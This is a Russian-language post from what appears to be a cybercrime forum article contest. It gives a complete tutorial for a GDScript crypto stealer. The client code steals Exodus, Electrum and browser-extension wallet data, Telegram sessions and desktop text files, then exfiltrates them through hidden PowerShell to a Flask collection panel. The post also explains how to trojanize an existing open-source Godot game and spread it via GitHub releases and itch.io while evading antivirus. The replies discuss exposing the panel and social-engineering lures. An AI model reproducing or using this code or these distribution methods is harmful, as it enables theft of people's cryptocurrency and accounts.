• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья 🚀 Крипто стиллер на Godot [GDScript]

XSSBot

Форумный бот
Пользователь
Регистрация
31.12.2005
Сообщения
1 473
Реакции
898
Автор CognitoInc
Статья написана для
Конкурса статей #10


1737112197965.jpeg

Немного инфы о проекте​

Крипто стиллер на Godot — что-то непонятное, правда? Сейчас я расскажу о том, что это и как я к этому пришел.

Для начала объясню, что такое Godot. Godot — это игровой опенсорс-движок, на котором можно делать как 2D, так и 3D игры. Но это нас не особо интересует, ведь форум немного о другом. Самое интересное, что в этом движке используется свой собственный язык под названием GDScript, который очень даже похож на Питон. Благодаря тому, что язык по факту ноунейм, задетектить подобного рода софт, написанный на нем, будет крайне сложно, что и является основным плюсом данного софта, да и самой идеи написания вирусов на этом языке в целом.

Как я вообще пришел к мысли о создании малваря на данном языке?​

Дело в том, что мне как-то попалась статья о том, что GitHub и игры начал массово заполнять малварь на Godot, и был этот малварь лоадером. Собственно говоря, именно поэтому я решил также попробовать сделать что-то подобное на данном языке. Ведь в публичном доступе ничего подобного в принципе нет, и данный проект своего рода уникален, хоть и сама тема фри-стиллеров уже заезжена вдоль и поперек.

Прочитать одну из новостей о малваре на Godot можно по этой ссылке:
https://xakep.ru/2024/11/29/godloader-godot/

В чем цель данного проекта?​

Цель проекта проста: показать, что даже самым необычным способом и на ноунейм языке есть возможность написать малварь и доказать это на практике.

Какой функционал будет в этом мутанте?​

Стиллер холодных кошельков и плагинов из Edge с криптокошельками.
Граббер рабочего стола.
Граббер Telegram.
Сбор данных о системе и IP.
Отправка логов на сервер через запросы.
Веб-панель.​

Почему в этом списке нету стиллера паролей и куки?​

Дело в том, что для расшифровки куки и паролей нужно как минимум получить ключ из DPAPI и AES. А библиотек на GDScript для этого нет, поэтому нужно писать собственную логику с нуля. Учитывая, что это не какой-нибудь там Python (хоть и его брат-близнец), сделать это было бы крайне сложно и заняло бы больше времени, чем длится конкурс. А поучаствовать мне все же захотелось. Несмотря на это, даже с тем функционалом, который будет присутствовать, считаю, что вполне можно работать.

Создание и настройка проекта​

Теперь давайте приступим к работе над самим стиллером. Первое, что потребуется сделать, — это скачать и установить сам Godot.

Скачать его можно с официального сайта или GitHub-репозитория по этой ссылке:
https://github.com/godotengine/godot/releases/download/4.3-stable/Godot_v4.3-stable_win64.exe.zip

После установки Godot сразу же создаем проект, как показано на скриншоте ниже:
1737109140337.png


После создания проекта первое, что сделаем, — это создадим 2D-сцену, к которой впоследствии прикрепим скрипт самого стиллера.
1737109206355.png


Сохраняем сцену, чтобы она появилась в файловой системе, используя Ctrl+S.
1737109266307.png

1737109399659.png


Создаем и прикрепляем скрипт к главному меню, а затем сохраняем.
1737109431127.png

1737109459727.png

В этом окне мы и будем писать всю логику стиллера, так что все, что есть в данном скрипте при его создании, удаляем, не считая первой строки extends Node2D.

Пишем код клиента на Godot​

В коде сразу же создадим эту функцию:
func _enter_tree():
Данная функция используется для того, чтобы код, указанный в ней, запускался при инициализации сцены. В ней будет указан вызов нашей основной функции, которая будет приводить в действие весь стиллер, но пока что это пропустим и рассмотрим функции, которые будут выполнять основную логику, по отдельности.

Сбор крипты​

Первой на очереди будет функция для сбора холодков и плагинов.
Python:
func copy_folder_content(source_path: String, destination_path: String):
    # Открываем папку из которой нужно скопировать
    var source_dir = DirAccess.open(source_path)
    # Если папки нет
    if source_dir == null:
        print("Папка не найдена: " + source_path)
        return

    # Открывает текущую директорию
    var dest_dir = DirAccess.open(".")
    # Создает папки по пути destination_path (во временной папке лога)
    dest_dir.make_dir_recursive(destination_path)
    # Перечисляет все файлы и папки по пути source_dir
    source_dir.list_dir_begin()
    while true:  # Бесконечный цикл
        # Получаем имя следующей папки или файла в директории из которой нужно копировать
        var file = source_dir.get_next()
       
        # Если название папки пустое, значит папки кончились и заканчивается цикл
        if file == "":
            break
        # Сборка полного пути до файла
        var source_file_path = source_path + "/" + file
        # Сборка полного пути куда копировать
        var destination_file_path = destination_path + "/" + file
        # Проверяет, является ли текущий элемент файлом или папкой
        if source_dir.current_is_dir():
            # Если папка, то вызывать функцию для копирования файлов передавая туда полный путь до папки source_file_path
            copy_folder_content(source_file_path, destination_file_path)
        else:
            # Если элемент это файл а не папка то тогда копируем файл и вставляем его во временную папку лога по пути destination_file_path
            var file_reader = FileAccess.open(source_file_path, FileAccess.READ)
            var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE)
            if file_reader and file_writer:
                file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length()))
                # Закрываем файл откуда копирует и файл куда копирует
                file_reader.close()
                file_writer.close()
Логика данной функции проста: для начала берем и открываем папку, из которой нужно копировать. Если папки нет, то выводим print с ошибкой.
Затем проходимся по каждому объекту в папке внутри бесконечного цикла.
Проверяем каждый объект на то, является ли он папкой или файлом. Если является файлом, то копируем его во временную папку лога. Если является папкой, то вызывается эта же функция, и в нее передается путь до выбранной папки, и так по кругу, пока все файлы и папки не закончатся.

Возможно, у вас возникнет вопрос: почему же так замудренно? Нельзя ли просто взять всю папку с холодком и скопировать, не прописывая вручную логику для рекурсивного поиска всех файлов и папок?
А вот нельзя. В Godot нет функции, позволяющей сразу же скопировать всю папку с файлами, поэтому приходится вручную искать каждую папку и каждый файл и копировать их по отдельности, повторяя оригинальный порядок путей.

Сбор Telegram​

После функции для сбора холодков следуют функции для сбора файлов Telegram и файлов с рабочего стола. Все эти функции практически полностью повторяют функционал показанной выше функции, так что повторяться я смысла не вижу и просто предоставлю вам код.

Сбор Telegram-файлов:
Python:
func copy_telegram_tdata_content(source_path: String, destination_path: String):
    # Папки которые не надо копировать
    var excluded_folders = ["dumps", "emoji", "temp", "user_data"]
    # Открываем папку откуда копировать
    var source_dir = DirAccess.open(source_path)
    # Если папки нету
    if source_dir == null:
        print("Папка не найдена: " + source_path)
        return

    var dest_dir = DirAccess.open(".")
    dest_dir.make_dir_recursive(destination_path)
    source_dir.list_dir_begin()
   
    while true:
        var file = source_dir.get_next()
        # Если название папки пустое, значит папки кончились и заканчивается цикл
        if file == "":
            break
        # Если название папки есть в списке папок исключений
        if file in excluded_folders:
            continue  # Пропускаем исключаемые папки
           
        # Сборка полного пути до файла
        var source_file_path = source_path + "/" + file
        # Сборка полного пути куда копировать
        var destination_file_path = destination_path + "/" + file
       
        if source_dir.current_is_dir():
            # Если папка, то вызывать функцию для копирования файлов передавая туда полный путь до папки source_file_path
            copy_telegram_tdata_content(source_file_path, destination_file_path)
        else:
            # Если элемент это файл а не папка то тогда копируем файл и вставляем его во временную папку лога по пути destination_file_path
            var file_reader = FileAccess.open(source_file_path, FileAccess.READ)
            var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE)
            if file_reader and file_writer:
                file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length()))
                # Закрываем файл откуда копирует и файл куда копирует
                file_reader.close()
                file_writer.close()

Сбор файлов с рабочего стола​

Python:
func copy_text_files_from_desktop(desktop_path: String, destination_path: String):
    # Открываем папку откуда копировать
    var source_dir = DirAccess.open(desktop_path)
    # Если папки нету
    if source_dir == null:
        print("Папка не найдена: " + desktop_path)
        return

    var dest_dir = DirAccess.open(".")
    dest_dir.make_dir_recursive(destination_path)
    source_dir.list_dir_begin()

    while true:
        var file = source_dir.get_next()
        # Если название папки пустое, значит папки кончились и заканчивается цикл
        if file == "":
            break

        var source_file_path = desktop_path + "/" + file
        var destination_file_path = destination_path + "/" + file

        # Проверка, если это текстовый файл то копируем в временную папку лога
        if file.ends_with(".txt"):
            var file_reader = FileAccess.open(source_file_path, FileAccess.READ)
            var file_writer = FileAccess.open(destination_file_path, FileAccess.WRITE)
            if file_reader and file_writer:
                file_writer.store_buffer(file_reader.get_buffer(file_reader.get_length()))
                # Закрываем файл откуда копирует и файл куда копирует
                file_reader.close()
                file_writer.close()
Было принято решение в данной функции собирать только текстовые файлы, ибо в них чаще всего и находятся заметки с паролями и сидами от кошельков. Но если же вам нужны еще какие-либо форматы, то это легко добавить, заменив эту строку:
if file.ends_with(".txt"):
на эту:
if file.ends_with(".txt") or file.ends_with(".log") or file.ends_with(".csv"):

Напоминаю, что все файлы копируются в временную папку лога. В дальнейшем эта временная папка будет запихиваться в архив и отправляться. После этого временная папка будет удаляться, и как раз функцию удаления мы и рассмотрим сейчас.

Удаление временной папки лога​

Python:
func delete_folder(folder_path: String):
    # Открывает временную папку лога
    var dir = DirAccess.open(folder_path)
    # Если директория не пуста
    if dir != null:
        # Перечисляет все папки и файлы внутри
        dir.list_dir_begin()
        # Получаем имя следующей папки или файла
        var file = dir.get_next()
       
        # Бесконечный цикл
        while true:
            # Если название папки пустое, значит папки кончились и заканчивается цикл
            if file == "":
                break
            # Собираем полный путь до элемента
            var path = folder_path + "/" + file
            # Если элемент это папка,то вызываем эту же функцию удаления чтобы пробежаться рекурсивно по ней и все удалить
            if dir.current_is_dir():
                delete_folder(path)  # Рекурсивно удаляем вложенные папки
            else:
                # Если элемент это файл, то удаляем
                var file_remover = FileAccess.open(path, FileAccess.WRITE)
                if file_remover:
                    file_remover.close()
                    DirAccess.open(".").remove(path)  # Удаляем файл
            file = dir.get_next()
        dir.remove(folder_path)  # Удаляем саму папку
Суть тут такая же, как и у функций для копирования, и проблема соответственно тоже. То есть нельзя просто так взять и удалить папку со всем содержимым, нужно рекурсивно пройтись по всем файлам и папкам и удалять их по одному, а в конце удалить уже пустую основную папку для временных файлов.

Теперь рассмотрим функции для получения данных о системе и IP-адреса. Для этого будет использоваться вызов PowerShell и отправка в него команд. Метод достаточно простой, но действенный.

Получение IP​

Python:
func fetch_ip_address() -> String:
    var commands = [
        "-WindowStyle",
        "Hidden",  # Скрывает консольное окно
        "-Command",
        "Invoke-RestMethod -Uri 'https://httpbin.org/ip?format=json'"
    ]
   
    # Массивы для вывода
    var output = []

    # Выполнение PowerShell c передачей в нее команды
    var exit_code = OS.execute("powershell", commands, output, true, true)
   
    # Обработка результата
    if exit_code == 0:
        # Склеиваем строки в одну строку
        var output_str = ""
        for line in output:
            output_str += line.strip_edges() + "\n"
       
        # Попробуем найти IP в выводе
        var lines = output_str.split("\n")
        if lines.size() >= 3:
            var ip = lines[2].strip_edges()
            return ip
        else:
            print("Не удалось найти IP в ответе")
           
    # Возвращаем пустую строку
    return ""

Как и было сказано ранее, метод простой: в нем мы просто собираем команду PowerShell для отправки запроса на https://httpbin.org/ip?format=json, затем получаем ответ примерно в таком виде:
origin
------
213.108.23.243

Затем берем третью строку в которой как раз и находится ip адрес

Так же поясню за эту строчку:
var exit_code = OS.execute("powershell", commands, output, true, true)

Она в принципе так же понятна, за исключением последних двух true.
Первый true означает, что нужно дожидаться окончания работы команды.
Второй true означает, что ответ от PowerShell будет записываться.

Получение данных системы​

По такому же принципу работает и команда для получения данных о системе:
Python:
func fetch_system_info() -> Dictionary:
    var commands = [
        "-WindowStyle",
        "Hidden",
        "-Command",
        "\"Get-CimInstance Win32_Processor | Select-Object -ExpandProperty Name; " +
        "Get-CimInstance Win32_Processor | Select-Object -ExpandProperty NumberOfCores; " +
        "Get-CimInstance Win32_Processor | Select-Object -ExpandProperty NumberOfLogicalProcessors; " +
        "[math]::Round((Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB, 2)\""
    ]
    # Массивы для вывода и ошибок
    var output = []
    var exit_code = OS.execute("powershell", commands, output, true, true)
   
    # Если выполнилось удачно
    if exit_code == 0:
        # Разделяем ответ на строки
        var lines = "".join(output).strip_edges().split("\n")

        return {
            # Берем данные из строк и записываем в ключи и возвращаем их
            "processor_name": lines[0].strip_edges(),
            "cores": lines[1].strip_edges(),
            "logical_processors": lines[2].strip_edges(),
            "ram": lines[3].strip_edges() + " GB"
        }
    # Если команда не выполнилась, возвращаем пустой объект
    return {}

Отправка лога на сервер​

Отправляться лог в виде ZIP-архива на сервер будет так же с помощью PowerShell команды. Адрес сервера для отправки указывается сразу в команде PowerShell.
Python:
func send_file_to_flask(output_archive: String):
    var command_str = """
    $filePath = '""" + output_archive + """'
    $fileBytes = [System.IO.File]::ReadAllBytes($filePath)
    $base64String = [Convert]::ToBase64String($fileBytes)
    $uri = 'http://127.0.0.1:5000/data'
    $body = @{
        text = $base64String
    }
    Invoke-RestMethod -Uri $uri -Method POST -ContentType 'application/json' -Body ($body | ConvertTo-Json)
    """
   
    var commands = [
        "-WindowStyle",
        "Hidden",
        "-Command",
        command_str
    ]
   
    var output = []
    var exit_code = OS.execute("powershell", commands, output, true, true)

    if exit_code == 0:
        print("Файл отправлен")
        print("Ответ: ", "".join(output).strip_edges())
    else:
        print("Ошибка при отправке: ", exit_code)
        print("Ответ: ", "".join(output).strip_edges())

Основная функция для запуска стиллера​

Со всеми функциями сбора данных закончено, теперь рассмотрим функцию, которая будет создавать временную папку, вызывать функции для сбора данных, архивировать собранные данные в ZIP-архив, удалять временную папку и вызывать функцию для отправки архива с логом.

Пути до папок для сбора данных и куда сохранять эти данные​

Для начала в функции пропишем все необходимые пути:
Python:
func create_combined_archive():
    # Пути к папкам которые нужно копировать
    var appdata_path = OS.get_environment("APPDATA")
    var localappdata_path = OS.get_environment("USERPROFILE") + "/AppData/Local"
    var exodus_path = appdata_path + "/Exodus/exodus.wallet"
    var electrum_path = appdata_path + "/Electrum/wallets"
    var metamask_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/ejbalbakoplchlghecdalmeeeajnimhm"
    var trust_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/egjidjbpglichdcondbcbdnbeeppgdph"
    var phantom_path = localappdata_path + "/Microsoft/Edge/User Data/Default/Local Extension Settings/bfnaelmomeimhlpmgjnjophhpkkoljpa"
    var telegram_path = appdata_path + "/Telegram Desktop/tdata"  # Путь до tdata
    var desktop_path = OS.get_environment("USERPROFILE") + "/Desktop"  # Путь для копирования файлов с рабочего стола

    # Путь для временной папки и архива
    var temp_path = OS.get_environment("USERPROFILE") + "/AppData"
    # Временная папка лога
    var temp_folder = temp_path + "/log_temp"
    # Путь до архива
    var output_archive = temp_path + "/log.zip"
    # Путь куда сохранять инфу о системе
    var info_file_path = temp_folder + "/Info.txt"

Затем создаем временную папку
var temp_dir = DirAccess.open(temp_folder)
    if temp_dir == null:
        temp_dir = DirAccess.open(".")
        temp_dir.make_dir_recursive(temp_folder)

Вызов функции для сбора данных о пк и ip​

Вызываем функции для получения данных о ПК и IP, а затем проверяем возвращенные от этих функций ответы на наличие данных и записываем их, если данные есть.
Python:
# Вызов функции для получения ip адреса
    var ip = fetch_ip_address()
    # Вызов функции для получения информации о системе
    var system_info = fetch_system_info()
    # Открываем файл для информации о пк
    # FileAccess.open открывает файл или создает его если файла нет
    var info_file = FileAccess.open(info_file_path, FileAccess.WRITE)

    # Если IP непустая строка
    if ip != "":
        info_file.store_string("IP-адрес: " + ip + "\n")
    else:
        info_file.store_string("IP-адрес: Не удалось определить\n")

    # Если размер полученных данных по размеру больше 0
    if system_info.size() > 0:
        # Берутся ключи из ответа от функции fetch_system_info() и записываются в файл с помощью метода store_string
        info_file.store_string("Информация о системе:\n")
        info_file.store_string("Процессор: " + system_info["processor_name"] + "\n")
        info_file.store_string("Ядра: " + system_info["cores"] + "\n")
        info_file.store_string("Потоки: " + system_info["logical_processors"] + "\n")
        info_file.store_string("ОЗУ: " + system_info["ram"] + "\n")
    else:
        info_file.store_string("Информация о системе: Не удалось получить данные\n")
    info_file.close()

Вызов функции для копирования файлов холодков и прочего​

Вызываем функции для копирования данных холодков, рабочего стола, Telegram, передавая в эти функции путь, откуда копировать, и путь, куда копировать.
Python:
copy_folder_content(exodus_path, temp_folder + "/CryptoWallets/Exodus")
    copy_folder_content(electrum_path, temp_folder + "/CryptoWallets/Electrum")
    copy_folder_content(metamask_path, temp_folder + "/CryptoWallets/Metamask")
    copy_folder_content(trust_path, temp_folder + "/CryptoWallets/Trust")
    copy_folder_content(phantom_path, temp_folder + "/CryptoWallets/Phantom")
    copy_telegram_tdata_content(telegram_path, temp_folder + "/Telegram")
    # Копируем текстовые файлы с рабочего стола
    copy_text_files_from_desktop(desktop_path, temp_folder + "/Desktop")

Создание архива​

Далее следует создание архива, и оно будет реализовано через мой любимый PowerShell.
Python:
var result = OS.execute("powershell", [
        "-Command",
        "Compress-Archive",
        "-Path",
        '"' + temp_folder.replace("/", "\\") + "\\*" + '"',
        "-DestinationPath",
        '"' + output_archive.replace("/", "\\") + '"'
    ], [])

Вызов функции для удаления временной папки​

Затем удаляем временную папку с помощью вызова соответствующей функции и отправляем созданный архив на сервер также с помощью написанной ранее функции.
Python:
# Удаляем временную папку с помощью функции delete_folder
delete_folder(temp_folder)

    if result == 0:
        print("Архив успешно создан: " + output_archive)
        send_file_to_flask(output_archive)
    else:
        print("Ошибка при создании архива.")
Функция закончена, и почти весь скрипт тоже. Теперь нужно, чтобы он запускался при запуске игры.

Функция для запуска всей логики при запуске игры​

В начале написания кода я уже упоминал такую функцию, как func _enter_tree():, и именно она сейчас и понадобится.
Создадим ее в начале скрипта и вызовем в ней функцию, которую писали выше.
Python:
func _enter_tree():
    print("Запуск...")
    create_combined_archive()
Таким образом, скрипт будет запускаться сразу при запуске игры.

Пишем код сервера на Python​

Раз с клиентом стиллера закончено, можем приступить к написанию сервера, который будет принимать логи и отображать их в веб-панели с возможностью скачивания.

Подготовка проекта​

Сервер будет написан на излюбленном мною Flask с использованием SQLite, и первое, что нам понадобится, так это подготовить сам проект. В нем нужно создать несколько папок:
  • logs для хранения архивов с логами
  • static для стилей веб-панели
  • templates для хранения HTML файлов панели
Также создадим файл main.py, в котором и будем писать основную логику.
1737110002005.png


В качестве IDE будет использоваться PyCharm. Открываем через него проект и сразу же создаем виртуальную среду, в которой будут храниться все необходимые библиотеки.
1737110037989.png

Необходимые библиотеки​

Теперь в самом Python файле укажем все библиотеки, которые будем использовать в дальнейшем.
Python:
import os
import base64
import random
import string
from datetime import datetime
from flask_sqlalchemy import SQLAlchemy
from flask import Flask, request, render_template, send_file

Инициализация Flask и SQLAlchemy​

Инициализируем Flask-приложение и SQLAlchemy для базы данных, а также создаем саму модель таблицы для базы данных.
Python:
app = Flask(__name__)

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///archives.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

# Инициализация SQLAlchemy
db = SQLAlchemy(app)

# Модель для таблицы логов
class Archive(db.Model):
   id = db.Column(db.Integer, primary_key=True)
   filename = db.Column(db.String(100), nullable=False)
   created_at = db.Column(db.String(20), nullable=False)
   file_path = db.Column(db.String(255), nullable=False)

   def __repr__(self):
       return f'<Archive {self.filename}>'

Создаем папку для хранения логов если ее еще нет​

Python:
LOGS_FOLDER = 'logs'

if not os.path.exists(LOGS_FOLDER):
   os.makedirs(LOGS_FOLDER)

Обработка запросов​

Теперь создадим функцию, обрабатывающую запросы от Godot стиллера. Как помним, в Godot мы указывали маршрут http://127.0.0.1:5000/data, поэтому и в Python коде маршрут будет /data.
Python:
@app.route('/data', methods=['POST'])
def receive_data():
   data = request.json  # Получаем данные из JSON-запроса
   if not data or 'text' not in data:
       return "Ошибка при получении данных лога", 400

Если данные есть, то конвертируем их из base64 в байты, затем генерируем случайное название для архива archive.zip, сохраняем файл с конвертированными из base64 в байты данными в папку logs.
Python:
# Извлекаем строку Base64
base64_string = data['text']
try:
   # Декодируем строку Base64 в байты
   file_bytes = base64.b64decode(base64_string)

   # Генерируем случайное имя для архива
   random_filename = ''.join(random.choices(string.ascii_letters + string.digits, k=10)) + '.zip'
   file_path = os.path.join(LOGS_FOLDER, random_filename)

   # Сохраняем файл на диск
   with open(file_path, 'wb') as file:
       file.write(file_bytes)

   return "Лог успешно получен сервером", 200
except Exception as e:
   return f"Ошибка: {str(e)}", 500

Также не забываем о базе данных, в которую нужно записать данные о логе. Этот код нужно поместить в try.

Python:
created_at = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
new_archive = Archive(
   filename=random_filename,
   created_at=created_at,
   file_path=file_path
)
db.session.add(new_archive)
db.session.commit()

Передача данных о логах в веб панель​

Теперь создадим маршрут для страницы, на которой будут отображаться данные логов.
Python:
@app.route('/')
def index():
   archives = Archive.query.all()
   return render_template('index.html', archives=archives)
Для передачи данных о логах на страницу мы будем просто считывать все данные из базы данных и передавать их в index.html.

Функция для скачивания логов​

Также в панели будет возможность скачивать логи, поэтому для этого сразу же напишем еще один маршрут, который в дальнейшем будет вызываться при нажатии на кнопку в панели.
Python:
@app.route('/download/<int:archive_id>')
def download(archive_id):
   # Получаем архив по ID
   archive = Archive.query.get_or_404(archive_id)

   # Отправляем файл на скачивание
   return send_file(archive.file_path, as_attachment=True)
Принцип работы очень прост: при нажатии на кнопку "Скачать" в панели на данный маршрут будет отправляться id лога в базе данных. Затем, в функции будет искаться нужный лог по его id в базе данных. В базе данных у лога есть столбец, в котором указан путь до файла. С помощью функции send_file из Flask будет происходить скачивание лога с использованием найденного пути до него.

Веб панель​

На этом весь бекенд завершен, и теперь рассмотрим саму веб-панель. Она максимально проста, в ней мы будем визуализировать таблицу и отображать данные из базы данных, переданные ранее из бэкэнд-функции index на веб-страницу.
HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <title>Логи</title>
   <!-- Подключаем CSS -->
   <link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
</head>
<body>
   <h1>GDSteel.inc</h1>
   <table>
       <thead>
           <tr>
               <th>ID</th>
               <th>Имя файла</th>
               <th>Дата</th>
               <th>Скачать</th>
           </tr>
       </thead>
       <tbody>
           {% for archive in archives %}
               <tr>
                   <td>{{ archive.id }}</td>
                   <td>{{ archive.filename }}</td>
                   <td>{{ archive.created_at }}</td>
                   <td>
                       <a href="{{ url_for('download', archive_id=archive.id) }}">
                           <button>Скачать</button>
                       </a>
                   </td>
               </tr>
           {% endfor %}
       </tbody>
   </table>
</body>
</html>

Как видно, к странице подключены стили. На них также останавливаться смысла нет, так как сложных стилей там нет, а работу с CSS на данном форуме разбирали уже много раз, и я уверен, что все знают, как с ними работать. Поэтому просто приложу код:
CSS:
/* Основные стили для страницы */
body {
   font-family: 'Roboto', sans-serif;
   background-color: #1e1e1e;
   margin: 0;
   padding: 20px;
   color: #e0e0e0;
}


h1 {
   text-align: center;
   color: #e0e0e0;
   font-size: 2.5em;
   margin-bottom: 20px;
}


/* Стили для таблицы */
table {
   width: 100%;
   margin-top: 20px;
   border-collapse: collapse;
   background-color: #2d2d2d;
}


th, td {
   padding: 10px;
   text-align: left;
   border: 1px solid #575757;
}


th {
   background-color: #3e3e3e;
   color: #d5d5d5;
   font-weight: bold;
}


tr:nth-child(even) {
   background-color: #333;
}


tr:hover {
   background-color: #4c4c4c;
}


/* Стили для кнопки скачивания */
button {
   background-color: #5eaf00;
   color: white;
   padding: 8px 16px;
   border: none;
   border-radius: 5px;
   cursor: pointer;
   font-size: 1em;
   transition: background-color 0.3s ease, transform 0.2s ease;
}


button:hover {
   background-color: #4d9e00;
}


button:active {
   background-color: #4b8b00;
   transform: scale(0.98);
}


button:focus {
   outline: none;
}

Теперь, когда весь проект написан, можем перейти к просмотру того, как выглядит панель и сам лог нашего Godot-стилера.
1737110415046.png

1737110437013.png

1737110455830.png

1737110493365.png

Методы распространения​

Теперь немного можно поговорить о том, как распространять данный стиллер. В начале статьи уже давалась ссылка о том, как подобный софт распространяли, а именно — через GitHub репозитории с играми.

GitHub​

Есть несколько вариантов, как сделать это через GitHub:
  1. Голый скрипт внутри исходников какой-либо игры. Разумеется, это очень опасно, так как существует шанс, что даже если проект игры огромный, кто-то начнёт разбираться в его исходниках и заметит скрипт и адрес, куда всё отправляется. Так что этот метод мне кажется не самым лучшим.
  2. В исходниках приложить чистый проект игры, а в релизе указать скомпилированный проект уже с нашим скриптом. Как правило, когда кто-то хочет взять проект игры, сначала скачивают его демо-версию, поэтому шанс того, что человек скачает релизную версию, довольно велик.

itch.io​

Также демку игры можно распространять на сайте для инди-разработчиков itch.io. Поток пользователей на данном сайте достаточно большой, и скачивают и запускают даже самые простые игры, типа змейки, так что вам будет достаточно найти исходники любого 2D проекта, прикрутить скрипт, скомпилировать и загрузить на сайт. Так как малварь написан на GDScript, его не обнаружат, поэтому на данном сайте он может "пролежать" довольно долго. Это также относится и к GitHub.
1737110560433.png


Встраиваем стиллер в чужой проект игры​

С методами распространения разобрались, теперь рассмотрим, как наш малварь встроить в рандомную игру. Для примера была взята эта игра — https://github.com/TinyTakinTeller/GodotProjectZero.

После импортирования проекта в Godot, переходим к главной ноде и открываем скрипт игры.
1737110601583.png

1737110622667.png

Пихаем в любое место этого скрипта наш малварь, начиная со строки с функцией _enter_tree().
1737110680635.png


Компилируем игру со стиллером​

1737110744753.png

1737110762220.png

1737110787154.png

1737110809021.png


После компиляции игры у нас будет два файла. Собственно говоря, просто запускаем exe файл, и в итоге у нас запустится игра и малварь в том числе.
1737110850772.png


Детекты​

А что же по детектам? А ничего, их просто напросто нет и не будет
Ссылка на VirusTotal - https://www.virustotal.com/gui/file/3704990acd39d295419cf23d64f69be55628022a3a1e442065ffd05594a1e358
1737110888389.png


Итоги статьи​

На этом статья подходит к своему заключению и что же мы имеем по итогу?
Малварь с нулевыми детектами.
Простой способ встраивания малваря в различные сторонние проекты.
Легкий и эффективный способ распространения для самых маленьких.

Ну и пожалуй на этом все, спасибо всем кто дочитал данную статью, надеюсь она вам понравилась.​

Разработано специально для конкурса статей на форуме xss.pro​

 

Вложения

  • client.zip
    3.9 КБ · Просмотры: 78
  • server.zip
    2.9 КБ · Просмотры: 75
Последнее редактирование модератором:
Интересно как быстро уебут сигнатуру?
 
Как веб панель запустить не на локальный Ip 127.0.0.1:5000?
В конце main.py:
Код:
if __name__ == '__main__':
 with app.app_context():
        db.create_all()
 app.run(host="0.0.0.0", port=500, debug=True)

За место 0.0.0.0 поставь свой внешний ip. Также не забудь открыть порт на роутере если это домашний пк и открыть к нему доступ в файерволе. Если у тебя дедик, то просто в файерволе
1737187343568.png

1737187426670.png

1737187508021.png


Если меняешь ip, то не забудь его поменять и в годот скрипте внутри функции отправки данных на сервер, эта функция находиться в самом низу
 
Чекнул на разных играх вроде бы работает, но заметил такую ошибку что после второго запуска(на этой же машине) не отправляет лог! в коде не нашел на это причину... Ну а как идея имеет право на жизнь только с траффом будет сложно! гейм инди бедный трафф
 
Чекнул на разных играх вроде бы работает, но заметил такую ошибку что после второго запуска(на этой же машине) не отправляет лог! в коде не нашел на это причину... Ну а как идея имеет право на жизнь только с траффом будет сложно! гейм инди бедный трафф
Это мой недочет, я не сделал удаление лога после отправки т.к дебажил постоянно, а потом забыл добавить, удали лог с пк и сможешь новый отправить
 
Интересная идея, но что делать когда антивирусы начинают палить? Насколько это хозяйство поддается обфускации или крипту?
я не ручаюсь на 100% что скрипт всегда будет 100% андетект, но в данный момент я не думаю что его будут детектить т.к язык кастомный а большинство функций в нейм реализованы с помощью консольных команд на которые по сути не должно будет триггерить. На счет обфускации, обфускатор придется писать самому т.к язык то кастомный
 
Вот меня всегда интересовал один вопрос и думаю автор статьи сможет ответить на него: Разве написанием игр не проще заработать денег? Чем в игру пихать стиллер который будет ставить не самая платежеспособная категория? Я серьезно спрашиваю, автор если сможешь в ЛС ответь, на форуме редко бываю.
 
Вот меня всегда интересовал один вопрос и думаю автор статьи сможет ответить на него: Разве написанием игр не проще заработать денег? Чем в игру пихать стиллер который будет ставить не самая платежеспособная категория? Я серьезно спрашиваю, автор если сможешь в ЛС ответь, на форуме редко бываю.
Без понятия что там по играм. Движки юзал только для разработки малваря и не более. Но думаю там тоже не все так просто ведь как минимум тот же itch.io это сайт где ты бесплатно выкладываешь игру и можешь подключить донаты, но это всего лишь донаты. На счет релизов на крупных площадках на сколько я знаю, нужно башлять за выпуск как минимум, не говоря уже о раскрутке которая тоже стоит денег.
Мне кажется, получится тоже самое что если бы ты взял те же деньги и пролил трафик.

Если судить по софту именно из моей статьи, то сам софт бесплатный, трафик через itch.io бесплатный, сурсы игр с гита тоже бесплатные, на запускк трафика с нуля в принципе уйдет пару часов с нулевыми вложениями не считая дедика (это если конечно вообще не стараться)
 
Вот меня всегда интересовал один вопрос и думаю автор статьи сможет ответить на него: Разве написанием игр не проще заработать денег? Чем в игру пихать стиллер который будет ставить не самая платежеспособная категория? Я серьезно спрашиваю, автор если сможешь в ЛС ответь, на форуме редко бываю.
Очень огромную роль играет предлог, под которым юзер должен запустить "игру")
 
Очень огромную роль играет предлог, под которым юзер должен запустить "игру")
Полностью согласен. Мне кажется в любом случае нужно делать что-то интересное или хайповое в качестве игры. Также, на годот можно не только игру сделать, через него можно сделать тот же условный установшик фотошоп бесплатный, скомпилировать и лить трафик обычными методами. Единственное что может смутить, это вес ехе который будет переваливать за 30мб
 
Полностью согласен. Мне кажется в любом случае нужно делать что-то интересное или хайповое в качестве игры. Также, на годот можно не только игру сделать, через него можно сделать тот же условный установшик фотошоп бесплатный, скомпилировать и лить трафик обычными методами. Единственное что может смутить, это вес ехе который будет переваливать за 30мб
Честно говоря я бы как-то в направлении адверта попробовал эту тему. Делаешь что-то около nft тапалки для пк и льешь по X всяким там криптоютуберам под видом сотрудничества. Запустите дяденька, на видео покажите)
 
Честно говоря я бы как-то в направлении адверта попробовал эту тему. Делаешь что-то около nft тапалки для пк и льешь по X всяким там криптоютуберам под видом сотрудничества. Запустите дяденька, на видео покажите)
Тоже конечно как вариант, но мне кажется все привыкли видеть тапалки в виде телеграм ботов или сайтов каких-то. А тут ехе файл, насторожить может, но тут уже конечно решает соц инженерия.
Опять же, можно воспринимать Godot как тот же виндовс форм где ты можешь любой интерфейс сделать и по нужной тематике лить его
 
